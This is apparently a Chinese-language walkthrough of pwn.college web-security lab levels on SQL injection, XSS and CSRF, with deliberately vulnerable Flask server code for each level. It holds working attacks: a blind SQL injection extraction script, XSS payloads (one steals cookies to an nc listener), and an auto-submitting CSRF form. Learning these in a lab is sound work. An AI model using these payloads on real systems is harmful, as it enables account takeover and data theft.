db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")

@app.route("/", methods=["GET"])
def challenge():
    # 从请求参数中获取查询字符串,默认值为 "%"
    query = flask.request.args.get("query", "%")

    try:
        # 使用 LIKE 操作符进行模糊匹配查询
        sql = f'SELECT username FROM users WHERE username LIKE "{query}"'
        print(f"DEBUG: {query=}")  # 输出调试信息,显示当前查询
        # 执行查询并获取所有匹配的用户名
        results = "\n".join(user["username"] for user in db.execute(sql).fetchall())
    except sqlite3.Error as e:
        results = f"SQL error: {e}"  # 捕获并返回 SQL 错误

    # 返回 HTML 页面,包含查询表单和查询结果
    return f"""
        <html><body>Welcome to the user query service!
        <form>Query:<input type=text name=query value='{query}'><input type=submit value=Submit></form>
        <hr>
        <b>Query:</b> <pre>{sql}</pre><br>
        <b>Results:</b><pre>{results}</pre>
        </body></html>
        """

app.secret_key = os.urandom(8)  # 生成一个随机的 secret_key,用于保护会话数据
app.config['SERVER_NAME'] = f"challenge.localhost:80"  # 设置服务器名称
app.run("challenge.localhost", 80)  # 启动 Flask 应用

SQLi 4 SQL注入4

到目前为止,我们已经知道了数据库结构(例如 users 表的名称),它允许我们有意地构造查询。 作为开发人员,你可能会试图通过随机化表名来防止这种情况发生,这样攻击者就无法指定它们来查询他们不应该查询的数据。 不幸的是,这并不是你想的那样。

数据库是复杂的,而且对它们自己的数据管理能力太强大了。 例如,几乎所有现代数据库都将数据库布局规范本身保存在一个表中。 攻击者可以通过查询这张表来获取表名、字段名以及他们可能需要的任何其他信息!

在这一关卡中,开发人员随机化了 users 表的名称。 找到它,找到那面flag!

查看解析
这一次的user_table表名进行了随机化处理,我们难以直接进行联合查询
因此我们先对表名进行查询,构造payload`union select table_name from information_schema.tables`
但这里用的是SQLite数据库
我们构造的payload为`"union select name FROM sqlite_master WHERE type='table'`
`/challenge/server`代码分析
#!/opt/pwn.college/python

import tempfile  # 用于创建临时文件
import sqlite3   # SQLite 数据库库
import random    # 用于生成随机数
import flask      # Flask Web 框架
import os        # 用于访问操作系统功能

app = flask.Flask(__name__)  # 创建一个 Flask 应用实例

# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
    def __init__(self):
        # 创建一个带有随机名称的临时数据库文件
        self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

    def execute(self, sql, parameters=()):
        # 执行 SQL 查询并返回结果
        connection = sqlite3.connect(self.db_file.name)  # 连接到临时数据库
        connection.row_factory = sqlite3.Row  # 使得查询结果可以通过列名访问
        cursor = connection.cursor()  # 创建游标
        result = cursor.execute(sql, parameters)  # 执行 SQL 语句
        connection.commit()  # 提交事务
        return result  # 返回结果

db = TemporaryDB()  # 创建 TemporaryDB 实例

# 随机生成一个用户表名称,避免名称冲突
user_table = f"users_{random.randrange(2**32, 2**33)}"
# 创建用户表,admin 用户的密码从 /flag 文件中读取
db.execute(f"""CREATE TABLE {user_table} AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# 插入 guest 用户及其密码
db.execute(f"""INSERT INTO {user_table} SELECT "guest" as username, "password" as password""")

@app.route("/", methods=["GET"])
def challenge():
    # 从请求参数中获取查询字符串,默认值为 "%"
    query = flask.request.args.get("query", "%")

    try:
        # 使用 LIKE 操作符进行模糊匹配查询
        sql = f'SELECT username FROM {user_table} WHERE username LIKE "{query}"'
        print(f"DEBUG: {query=}")  # 输出调试信息,显示当前查询
        # 执行查询并获取所有匹配的用户名
        results = "\n".join(user["username"] for user in db.execute(sql).fetchall())
    except sqlite3.Error as e:
        results = f"SQL error: {e}"  # 捕获并返回 SQL 错误

    # 返回 HTML 页面,包含查询表单和查询结果
    return f"""
        <html><body>Welcome to the user query service!
        <form>Query:<input type=text name=query value='{query}'><input type=submit value=Submit></form>
        <hr>
        <b>Query:</b> <pre>{sql.replace(user_table, "REDACTED")}</pre><br>
        <b>Results:</b><pre>{results}</pre>
        </body></html>
        """

app.secret_key = os.urandom(8)  # 生成一个随机的 secret_key,用于保护会话数据
app.config['SERVER_NAME'] = f"challenge.localhost:80"  # 设置服务器名称
app.run("challenge.localhost", 80)  # 启动 Flask 应用

SQLi 5 SQL注入5

SQL注入发生在应用程序的所有地方,就像命令注入一样,有时查询的结果不会返回给你。 有了命令注入,这种情况就容易多了:命令行非常强大,你甚至可以盲目地做很多事情。 使用SQL注入,有时情况并非如此。 例如,与其他数据库不同,此模块中使用的SQLite数据库不能访问文件系统、执行命令等。

那么,如果应用程序没有向您显示SQL注入产生的数据,您实际上是如何泄漏数据的呢? 有时,即使不显示实际数据,也可以恢复1位! 如果查询的结果使应用程序以两种不同的方式执行(例如,重定向到“身份验证成功”页面和“身份验证失败”页面),那么攻击者可以精心设计是/否问题,并获得答案。

这个挑战给了你这样的场景。 你能得到flag吗?

查看解析

要我们写一个盲注的脚本吧
脚本来源:https://writeups.kunull.net/Pwn%20College/Intro%20to%20Cybersecurity/Web%20Security#blind-attack
# 导入必要的库
import string
import requests

# 定义搜索空间:所有可打印的ASCII字符(从32到126)
searchspace = ''.join(chr(i) for i in range(32, 127)) 
# 初始化解决方案字符串,用于存储找到的密码
solution = ''
# 目标URL
url = "http://challenge.localhost:80"

# 主循环:持续尝试直到密码被完全提取
while True:
    found = False  # 标记是否在当前轮次中找到字符
    
    # 遍历搜索空间中的每个字符
    for char in searchspace:
        # 构建SQL注入payload,使用SUBSTR函数逐字符提取密码
        # len(solution)+1 表示当前要猜测的字符位置(从1开始)
        payload = f"admin' AND SUBSTR(password, {len(solution)+1}, 1) = '{char}'-- -"
        # 构造POST请求的数据
        data = {
            "username": payload,
            "password": "irrelevant"  # 密码字段无关紧要,因为注入点在用户名
        }

        # 发送POST请求
        response = requests.post(url, data=data)

        # 检查响应中是否包含"Hello"(成功登录的标识)
        if "Hello" in response.text:
            solution += char  # 将找到的字符添加到解决方案中
            print(f"[+] 当前已找到的密码部分: {solution}")
            found = True
            break  # 跳出内层循环,继续下一个字符的猜测

    # 如果当前轮次没有找到任何字符,说明密码已完全提取
    if not found:
        print("[*] 完成。最终密码为:", solution)
        break  # 退出主循环

/challenge/server代码分析

#!/opt/pwn.college/python  # 指定脚本的解释器路径

import tempfile  # 导入临时文件模块
import sqlite3  # 导入 SQLite 数据库模块
import flask  # 导入 Flask 框架
import os  # 导入操作系统模块

app = flask.Flask(__name__)  # 创建一个 Flask 应用实例

class TemporaryDB:
    def __init__(self):
        # 创建一个临时 SQLite 数据库文件,后缀为 .db
        self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

    def execute(self, sql, parameters=()):
        # 连接到临时数据库并执行 SQL 语句
        connection = sqlite3.connect(self.db_file.name)  # 连接到数据库
        connection.row_factory = sqlite3.Row  # 使返回的行以字典形式呈现
        cursor = connection.cursor()  # 创建游标
        result = cursor.execute(sql, parameters)  # 执行 SQL 查询
        connection.commit()  # 提交事务
        return result  # 返回结果

db = TemporaryDB()  # 实例化 TemporaryDB 类

# 创建一个名为 users 的表,插入 admin 用户及其密码(来自 /flag 文件内容)
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])

# 插入 guest 用户及其密码
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")

@app.route("/", methods=["POST"])  # 定义 POST 请求的路由
def challenge_post():
    username = flask.request.form.get("username")  # 从表单获取用户名
    password = flask.request.form.get("password")  # 从表单获取密码
    if not username:
        flask.abort(400, "Missing `username` form parameter")  # 如果缺少用户名,返回 400 错误
    if not password:
        flask.abort(400, "Missing `password` form parameter")  # 如果缺少密码,返回 400 错误

    try:
        # 创建 SQL 查询以验证用户
        query = f'SELECT rowid, * FROM users WHERE username = "{username}" AND password = "{password}"'
        print(f"DEBUG: {query=}")  # 打印调试信息
        user = db.execute(query).fetchone()  # 执行查询并获取结果
    except sqlite3.Error as e:
        flask.abort(500, f"Query: {query}\nError: {e}")  # 如果查询出错,返回 500 错误

    if not user:
        flask.abort(403, "Invalid username or password")  # 如果用户无效,返回 403 错误

    flask.session["user"] = username  # 将用户名存入会话
    return flask.redirect(flask.request.path)  # 重定向到当前路径

@app.route("/", methods=["GET"])  # 定义 GET 请求的路由
def challenge_get():
    if not (username := flask.session.get("user", None)):  # 检查是否已登录
        page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
    else:
        page = f"<html><body>Hello, {username}!"  # 如果已登录,欢迎用户

    return page + """
        <hr>
        <form method=post>
        User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
        </form>
        </body></html>
    """  # 返回 HTML 页面,包括登录表单

app.secret_key = os.urandom(8)  # 生成随机的秘密密钥
app.config['SERVER_NAME'] = f"challenge.localhost:80"  # 配置服务器名称
app.run("challenge.localhost", 80)  # 启动 Flask 应用,监听 80 端口

XSS 1 XSS注入1

任何两种技术的接口都可能出现语义鸿沟(并导致安全问题)。 到目前为止,我们看到它们发生在:

  • 一个web应用程序和文件系统,导致路径遍历。
  • 一个web应用程序和命令行shell,导致命令注入。
  • 一个web应用程序和数据库,导致SQL注入。

关于web应用的内容,我们还没有提到web浏览器。 我们将通过这一挑战弥补这一疏忽。

现代web浏览器是一种极其复杂的软件。 它渲染HTML,执行JavaScript,解析CSS,允许您访问pwn.college网站等等。 对我们的目的特别重要的是这个模块中你看到的每个挑战生成的HTML。 当web应用程序生成路径时,我们最终使用了路径遍历。 当web应用程序生成shell命令时,我们最终使用了shell注入。 当web应用程序生成SQL查询时,我们最终使用了SQL注入。 我们真的认为HTML会发展得更好吗? 当然不是。

发生在客户端web数据(如HTML)中的漏洞被称为跨站点脚本(Cross Site Scripting),或简称XSS(以避免与级联样式表的名称CSS冲突)。 与之前的注入不同,之前的注入的受害者是web服务器本身,而XSS的受害者是web应用程序的其他用户。 在典型的XSS漏洞攻击中,攻击者将自己的代码注入到(通常)由web应用程序生成的HTML中,并让受害者用户查看。 这将允许攻击者获得对受害者浏览器的一些控制,从而导致一些潜在的下游恶作剧。

这项挑战是朝着这个方向迈出的第一步。 与之前一样,您将拥有 /challenge/server web服务器。 这个挑战探索了一种叫做Stored XSS(存储型XSS)的东西,这意味着你存储在服务器上的数据(在本例中是论坛上的帖子)最终会显示给受害者用户。 因此,我们需要一个受害者来查看这些帖子! 现在你就有了一个 /challenge/victim 程序,它模拟了一个访问web服务器的受害用户。

设置您的攻击,并使用将触发存储的XSS的URL调用 /challenge/victim 。 在这一关卡,你所要做的就是注入一个文本框。 如果我们的受害者脚本看到这个文本框,我们就会给你flag!

查看解析
打开网站,是一个类似于评论区的功能页面
首先在此直接尝试xss注入,`《script》alert('nihao')《/script》`(为了防止被解析,这里使用《》代替<>)
然后使用`/challenge/victim`程序模拟受害者访问页面,受害者应该会弹出"nihao"的弹窗
但程序给出的提示是:You did not inject an 《input》 textbox...
也就是说这次我们的注入只是单纯的能被浏览器解析的html注入,那么我们直接注入`《input》`即可
这里也给大伙看看`《input》`的效果

/challenge/server代码分析

#!/opt/pwn.college/python

import tempfile
import sqlite3
import flask
import os

# 创建一个 Flask 应用实例
app = flask.Flask(__name__)

# 定义一个临时数据库类
class TemporaryDB:
    def __init__(self):
        # 创建一个临时 SQLite 数据库文件
        self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

    # 执行 SQL 查询的方法
    def execute(self, sql, parameters=()):
        # 连接到临时数据库
        connection = sqlite3.connect(self.db_file.name)
        connection.row_factory = sqlite3.Row  # 使查询结果返回字典格式
        cursor = connection.cursor()
        # 执行 SQL 语句
        result = cursor.execute(sql, parameters)
        connection.commit()  # 提交事务
        return result  # 返回结果

# 实例化临时数据库
db = TemporaryDB()
# 创建一个初始的帖子表,并插入一条默认帖子
db.execute("""CREATE TABLE posts AS SELECT "First Post!" AS content""")

# 定义处理 POST 请求的路由
@app.route("/", methods=["POST"])
def challenge_post():
    # 从表单获取内容
    content = flask.request.form.get("content", "")
    # 将内容插入到数据库的帖子表中
    db.execute("INSERT INTO posts VALUES (?)", [content])
    return flask.redirect(flask.request.path)  # 重定向回主页

# 定义处理 GET 请求的路由
@app.route("/", methods=["GET"])
def challenge_get():
    # 生成页面 HTML
    page = "<html><body>\nWelcome to pwnpost, the anonymous posting service. Post away!\n"
    page += "<form method=post>Post:<input type=text name=content><input type=submit value=Submit></form>\n"

    # 查询数据库中的所有帖子,并添加到页面
    for post in db.execute("SELECT content FROM posts").fetchall():
        page += "<hr>" + post["content"] + "\n"

    return page + "</body></html>"  # 返回完整的 HTML 页面

# 设置应用的秘密密钥
app.secret_key = os.urandom(8)
# 配置服务器名称
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,监听 challenge.localhost 的 80 端口
app.run("challenge.localhost", 80)

XSS 2 XSS注入2

好吧,注入一些HTML是非常酷的! 你可以想象这是如何用来迷惑受害者的,但情况更糟……好吧,注入一些HTML是非常酷的! 你可以想象这是如何用来迷惑受害者的,但情况更糟……

20世纪90年代,明智的web设计师发明了JavaScript来让网站更具交互性。 JavaScript与HTML共存,让事情变得有趣。 例如,这将把浏览器变成一个时钟:

<html>
  <body>
    <script>
      document.body.innerHTML = Date();
    </script>
  </body>
</html>

基本上,HTML <script> 标签告诉浏览器该标签中的内容是JavaScript,然后浏览器执行它。 我相信你能看出这是怎么回事……

在前一关卡中,你注入了HTML。 在这个攻击中,你必须使用完全相同的XSS漏洞在受害者的浏览器中执行某些JavaScript。 具体来说,我们希望你执行JavaScript alert("PWNED") 来弹出一个警告框,通知受害者他们已经被入侵了。 这一关卡的玩法与前一关卡完全相同;只有变化,突然之间,你在用煤气做饭(说明在某方面很成功,取得很大进步)!

查看解析
《script》alert("PWNED")《/script》

XSS 3 XSS注入3

在前面的例子中,你的注入内容首先存储在数据库中(作为帖子),当web服务器从数据库中检索并发送到受害者的浏览器时被触发。 因为必须先存储数据,然后再检索,所以这被称为存储型XSS。 然而,神奇的HTTP GET请求及其URL参数为另一种类型的XSS打开了大门:反射型XSS。

反射式XSS发生在URL参数被渲染到生成的HTML页面中时,同样允许攻击者插入HTML/JavaScript/等。 要实施这样的攻击,攻击者通常需要诱骗受害者访问一个具有正确URL参数的非常精心设计的URL。 这与存储型XSS不同,在存储型XSS中,攻击者可以简单地在有漏洞的论坛上发布帖子,然后等待受害者偶然发现它。

无论如何,这个关卡是一个反射型XSS漏洞。 这个挑战的 /challenge/victim 在命令行上接收一个URL参数,它将访问该URL。 骗过 /challenge/victim ,让它变成JavaScript alert("PWNED") ,你就会得到这个flag!

查看解析
《script》alert("PWNED")《/script》
我们输入这些后浏览器即通过GET请求了`msg`参数
经过处理出现了弹窗
我们将这个链接模拟发送给受害者让他访问`/challenge/victim http://challenge.localhost/?msg=%3Cscript%3Ealert%28%22PWNED%22%29%3C%2Fscript%3E`

/challenge/server代码分析

#!/opt/pwn.college/python

import flask
import os

# 创建一个 Flask 应用实例
app = flask.Flask(__name__)

# 定义处理 GET 请求的路由
@app.route("/", methods=["GET"])
def challenge_get():
    # 从查询参数中获取消息msg,默认为 "(none)"
    return f"""
        <html><body>
        <h1>pwnmsg ephemeral message service</h1>
        The message: {flask.request.args.get("msg", "(none)")}
        <hr><form>Craft a message:<input type=text name=msg><input type=submit value=Submit></form>
        </body></html>
    """

# 设置应用的秘密密钥
app.secret_key = os.urandom(8)
# 配置服务器名称
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,监听 challenge.localhost 的 80 端口
app.run("challenge.localhost", 80)

XSS 4 XSS注入4

与SQL注入和命令注入一样,有时你的跨站脚本攻击也会发生在一些非最佳的环境中。 在SQL中,我们已经处理过注入到引号中间的问题。 在XSS中,你经常注入,例如,一个文本区域,就像这个挑战。 通常,文本区域中的文本就是,页面上的文本框中显示的文本。 你能把这个上下文分解为 alert("PWNED") 吗?

与之前一样,这个挑战的 /challenge/victim 在命令行上接受一个URL参数,它将访问该URL。

查看解析
我们分析源码可以发现我们的输入被限制在《textarea》中了,所以我们构造一个带有结束标签的输入
《textarea》《/textarea》《script》alert("PWNED")《/script》

/challenge/server代码分析

def challenge_get():
    # 返回一个 HTML 页面,其中包含一个文本区域用于输入消息
    return f"""
        <html><body>
        <h1>pwnmsg ephemeral message service</h1>
        The message:
        <form>
            <textarea name=msg>{flask.request.args.get("msg", "Type your message here!")}</textarea>
            <input type=submit value="Make URL!">
        </form>
        </body></html>
    """

XSS 5 XSS注入5

实际的XSS漏洞攻击试图达到的目标不只是 alert("PWNED") 。 一个常见的目标是利用在受害者浏览器中执行JavaScript的能力来伪装成受害者发起新的HTTP请求。 这有很多种方式,包括使用JavaScript的 fetch() 函数。

这个挑战需要实现一个更复杂的应用程序,您将需要从 admin 用户未发布的草稿post中检索flag。 在xss注入 admin 之后,您必须使用注入来发出一个HTTP请求(作为 admin 用户)以使您能够读取flag。 祝你好运!

查看解析
我们分析源码可以发现
普通用户账号密码为hacker/1337
未发布的草稿只显示前12个字符
Flag完整内容仅在帖子被发布后可见
只有作者本人能发布自己的草稿
因此思路为:
普通用户登录 → 创建含XSS的草稿 → 管理员查看草稿 → XSS执行 → 以管理员身份发布flag → 所有用户可看到flag
《script》fetch("http://challenge.localhost:80/publish", {
    method: "GET", 
    credentials: "include"  // 关键,用于确保fetch请求携带admin的会话cookie
});《/script》
模拟管理员查看草稿
/challenge/victim

/challenge/server代码分析

#!/opt/pwn.college/python

import tempfile
import sqlite3
import flask
import os

# 创建一个 Flask 应用实例
app = flask.Flask(__name__)

# 定义一个临时数据库类
class TemporaryDB:
    def __init__(self):
        # 创建一个临时 SQLite 数据库文件
        self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

    # 执行 SQL 查询的方法
    def execute(self, sql, parameters=()):
        # 连接到临时数据库
        connection = sqlite3.connect(self.db_file.name)
        connection.row_factory = sqlite3.Row  # 使查询结果返回字典格式
        cursor = connection.cursor()
        # 执行 SQL 语句
        result = cursor.execute(sql, parameters)
        connection.commit()  # 提交事务
        return result  # 返回结果

# 读取 flag,如果以 root 用户身份运行,则读取实际 flag 文件,否则使用伪造的 flag
flag = open("/flag").read().strip() if os.geteuid() == 0 else "pwn.college{fake_flag}"

# 实例化临时数据库
db = TemporaryDB()
# 创建帖子表并插入一条初始帖子
db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag])
# 创建用户表并插入管理员用户
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag])
# 插入其他用户
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")

# 定义处理登录请求的路由
@app.route("/login", methods=["POST"])
def challenge_login():
    # 获取用户名和密码
    username = flask.request.form.get("username")
    password = flask.request.form.get("password")
    
    # 检查是否提供了用户名和密码
    if not username:
        flask.abort(400, "Missing `username` form parameter")
    if not password:
        flask.abort(400, "Missing `password` form parameter")

    # 验证用户名和密码是否正确
    user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
    if not user:
        flask.abort(403, "Invalid username or password")

    # 登录成功,设置会话中的用户名
    flask.session["username"] = username
    return flask.redirect("/")  # 重定向到首页

# 定义处理草稿请求的路由
@app.route("/draft", methods=["POST"])
def challenge_draft():
    # 检查用户是否已登录
    if "username" not in flask.session:
        flask.abort(403, "Log in first!")

    content = flask.request.form.get("content", "")
    # 插入草稿帖子
    db.execute(
        "INSERT INTO posts (content, author, published) VALUES (?, ?, ?)",
        (content, flask.session.get("username"), bool(flask.request.form.get("publish")))
    )
    return flask.redirect("/")  # 重定向到首页

# 定义处理发布草稿请求的路由
@app.route("/publish", methods=["GET"])
def challenge_publish():
    # 检查用户是否已登录
    if "username" not in flask.session:
        flask.abort(403, "Log in first!")

    # 发布所有草稿
    db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")])
    return flask.redirect("/")  # 重定向到首页

# 定义处理主页请求的路由
@app.route("/", methods=["GET"])
def challenge_get():
    page = "<html><body>\nWelcome to pwnpost, now with users!<hr>\n"
    username = flask.session.get("username", None)
    
    if username:
        # 显示已登录用户的草稿输入表单
        page += """
            <form action=draft method=post>
              Post:<textarea name=content>Write something!</textarea>
              <input type=checkbox name=publish>Publish
              <input type=submit value=Save>
            </form><br><a href=publish>Publish your drafts!</a><hr>
        """

        # 显示用户的所有帖子
        for post in db.execute("SELECT * FROM posts").fetchall():
            page += f"""<h2>Author: {post["author"]}</h2>"""
            if post["published"]:
                page += post["content"] + "<hr>\n"
            else:
                page += f"""(Draft post, showing first 12 characters):<br>{post["content"][:12]}<hr>"""
    else:
        # 显示登录表单
        page += """
            <form action=login method=post>
              Username:<input type=text name=username>
              Password:<input type=text name=password>
              <input type=submit name=submit value=Login>
            </form><hr>
        """

    return page + "</body></html>"  # 返回完整的 HTML 页面

# 设置应用的秘密密钥
app.secret_key = os.urandom(8)
# 配置服务器名称
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,监听 challenge.localhost 的 80 端口
app.run("challenge.localhost", 80)

XSS 6 XSS注入6

一旦攻击者在受害者的浏览器中执行了代码,他们就可以做很多事情。 在之前的攻击中,你已经发起了 GET 请求,但通常情况下,改变应用程序状态的是 POST 请求。 这一挑战加剧了现实主义: /publish 现在需要一个 POST 请求。 幸运的是, fetch 支持此功能!

去弄清楚如何 POST ,然后得到flag。

查看解析
同上一关,将请求改为POST即可

/challenge/server代码分析

# 定义处理发布草稿请求的路由
@app.route("/publish", methods=["POST"])
def challenge_publish():
    # 检查用户是否已登录
    if "username" not in flask.session:
        flask.abort(403, "Log in first!")

    # 发布所有草稿
    db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")])
    return flask.redirect("/")  # 重定向到首页

# 定义处理主页请求的路由
@app.route("/", methods=["GET"])
def challenge_get():
    page = "<html><body>\nWelcome to pwnpost, now with users!<hr>\n"
    username = flask.session.get("username", None)
    
    if username:
        # 显示已登录用户的草稿输入表单
        page += """
            <form action=draft method=post>
              Post:<textarea name=content>Write something!</textarea>
              <input type=checkbox name=publish>Publish
              <input type=submit value=Save>
            </form><br>
            <form action=publish method=post><input type=submit value="Publish All Drafts"></form><hr>
        """

XSS 7 XSS注入7

根据攻击者的目的,他们可能真正想要的是受害者的整个账户。 例如,攻击者可以使用XSS来窃取受害者的身份验证数据,然后使用这些数据来接管受害者的账户。

身份验证数据通常通过浏览器cookie存储,例如 Authentication Bypass 2 中发生的情况(但通常更安全)。 如果攻击者可以泄露这些cookie,对受害者来说后果将是灾难性的。

该关卡将登录用户的身份验证数据存储在cookie中。 你必须使用XSS来泄漏这个cookie,这样你就可以在请求中使用它来模拟 admin 用户。 这种泄漏将通过HTTP发生在你运行的服务器上,你所需要的一切都可以通过JavaScript的 fetch() 及其访问(某些)站点cookie的能力获得。


提示: 所谓“你运行的服务器”,实际上是指监听一个端口 nc 就足够了。 看 -l-v 选项到 nc

查看解析
这次需要劫持管理员cookie
监听
nc -nvlp 1234
《script》fetch("http://localhost:1234/?cookie=" + encodeURIComponent(document.cookie));《/script》
得到cookie后替换即可

/challenge/server代码分析

#!/opt/pwn.college/python

import tempfile  # 导入临时文件模块
import sqlite3  # 导入 SQLite 数据库模块
import flask  # 导入 Flask Web 框架
import os  # 导入操作系统模块

# 创建一个 Flask 应用实例
app = flask.Flask(__name__)

# 定义一个临时数据库类
class TemporaryDB:
    def __init__(self):
        # 创建一个临时 SQLite 数据库文件
        self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

    # 执行 SQL 查询的方法
    def execute(self, sql, parameters=()):
        # 连接到临时数据库
        connection = sqlite3.connect(self.db_file.name)
        connection.row_factory = sqlite3.Row  # 使查询结果返回字典格式
        cursor = connection.cursor()
        # 执行 SQL 语句
        result = cursor.execute(sql, parameters)
        connection.commit()  # 提交事务
        return result  # 返回结果

# 读取 flag,如果以 root 用户身份运行,则读取实际 flag 文件,否则使用伪造的 flag
flag = open("/flag").read().strip() if os.geteuid() == 0 else "pwn.college{fake_flag}"

# 实例化临时数据库
db = TemporaryDB()
# 创建帖子表并插入一条初始帖子,内容为 flag
db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag])
# 创建用户表并插入管理员用户,密码为 flag 的后 20 个字符
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag[-20:]])
# 插入其他用户
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")

# 定义处理登录请求的路由
@app.route("/login", methods=["POST"])
def challenge_login():
    # 获取用户名和密码
    username = flask.request.form.get("username")
    password = flask.request.form.get("password")
    # 检查是否提供了用户名
    if not username:
        flask.abort(400, "Missing `username` form parameter")
    # 检查是否提供了密码
    if not password:
        flask.abort(400, "Missing `password` form parameter")

    # 验证用户名和密码是否正确
    user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
    if not user:
        flask.abort(403, "Invalid username or password")

    # 登录成功,设置 cookie
    response = flask.redirect("/")
    response.set_cookie('auth', username + "|" + password)
    return response

# 定义处理草稿请求的路由
@app.route("/draft", methods=["POST"])
def challenge_draft():
    # 从 cookie 获取用户名和密码
    username, password = flask.request.cookies.get("auth", "|").split("|")
    user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
    if not user:
        flask.abort(403, "Invalid username or password")

    # 阻止 admin 用户发布内容
    if username == "admin":
        flask.abort(400, "pwnpost no longer supports admin posting due to rampant flag disclosure")

    # 获取草稿内容
    content = flask.request.form.get("content", "")
    # 插入草稿帖子
    db.execute(
        "INSERT INTO posts (content, author, published) VALUES (?, ?, ?)",
        (content, username, bool(flask.request.form.get("publish")))
    )
    return flask.redirect("/")

# 定义处理发布草稿请求的路由
@app.route("/publish", methods=["POST"])
def challenge_publish():
    # 从 cookie 获取用户名和密码
    username, password = flask.request.cookies.get("auth", "|").split("|")
    user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
    if not user:
        flask.abort(403, "Invalid username or password")

    # 阻止 admin 用户发布内容
    if username == "admin":
        flask.abort(400, "pwnpost no longer supports admin posting due to rampant flag disclosure")

    # 发布所有草稿
    db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [username])
    return flask.redirect("/")

# 定义处理主页请求的路由
@app.route("/", methods=["GET"])
def challenge_get():
    page = "<html><body>\nWelcome to pwnpost, now with users!<hr>\n"
    # 从 cookie 获取用户名和密码
    username, password = flask.request.cookies.get("auth", "|").split("|")
    user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
    if user:
        # 显示已登录用户的草稿输入表单
        page += """
            <form action=draft method=post>
              Post:<textarea name=content>Write something!</textarea>
              <input type=checkbox name=publish>Publish
              <input type=submit value=Save>
            </form><br>
            <form action=publish method=post><input type=submit value="Publish All Drafts"></form><hr>
        """

        # 显示用户的所有帖子
        for post in db.execute("SELECT * FROM posts").fetchall():
            page += f"""<h2>Author: {post["author"]}</h2>"""
            if post["published"]:
                page += post["content"] + "<hr>\n"
            elif post["author"] == username:
                # 显示当前用户的草稿
                page += "<b>YOUR DRAFT POST:</b> " + post["content"] + "<hr>\n"
            else:
                # 显示其他用户的草稿的前 12 个字符
                page += f"""(Draft post, showing first 12 characters):<br>{post["content"][:12]}<hr>"""
    else:
        # 显示登录表单
        page += """
            <form action=login method=post>
              Username:<input type=text name=username>
              Password:<input type=text name=password>
              <input type=submit name=submit value=Login>
            </form><hr>
        """

    return page + "</body></html>"  # 返回完整的 HTML 页面

# 设置应用的秘密密钥
app.secret_key = os.urandom(8)
# 配置服务器名称
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,监听 challenge.localhost 的 80 端口
app.run("challenge.localhost", 80)

CSRF 1 跨站请求伪造1

你使用XSS注入JavaScript以导致受害者发起HTTP请求。 但是如果没有XSS怎么办? 你能直接“注入”HTTP请求吗?

令人震惊的是,答案是肯定的。 web设计的目的是使许多不同的网站相互连接。 网站可以嵌入来自其他网站的图像,链接到其他网站,甚至重定向到其他网站。 所有这些灵活性意味着一些严重的安全风险,而且几乎没有任何措施可以防止恶意网站直接导致受害者访问者发出潜在的敏感请求,例如(在我们的例子中)将 GET 请求发送给 http://challenge.localhost/publish

这种类型的跨站点请求伪造被称为跨站请求伪造(Cross Site Request Forgery,简称CSRF)。

请注意,我说过几乎没有什么可以防止这种情况。 同源策略(Same-origin Policy,缩写为SOP)是在20世纪90年代创建的,当时web还很年轻,它(试图)缓解这个问题。 SOP防止一个原点的站点(例如 http://www.hacker.comhttp://hacker.localhost:1337 )以某些不安全方式与其他原点的站点(例如 http://www.asu.eduhttp://challenge.localhost/ )进行交互。 SOP防止了一些常见的CSRF向量(例如,当使用JavaScript跨源发起请求时,将不会发送cookie !),但有很多避免SOP的方法,例如使 GET 请求cookie完好无损(例如完全重定向)。

在这一关卡,pwnpost已经修复了它的XSS问题(至少对于 admin 用户)。 你需要使用CSRF来发布flag post! 该关卡的 /challenge/victim 将登录pwnpost ( http://challenge.localhost/ ),然后访问您可以建立的邪恶网站( http://hacker.localhost:1337/ )。 hacker.localhost 指向你的本地工作空间,但你需要自己设置一个web服务器,在端口1337上处理HTTP请求。 同样,这可以通过 nc 或者python服务器来实现(比如http.server!) 因为这些网站有不同的来源,SOP保护将适用,所以要小心如何伪造请求!

index.html

<!DOCTYPE html>
<html>
  <body>
    <form action="http://challenge.localhost/publish" method="GET" id="csrf-form">
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>
查看解析
同上,普通用户登录后只能看到admin草稿帖的前12个字符,无法看到完整flag
/publish接口可以将当前用户的所有帖子设为已发布
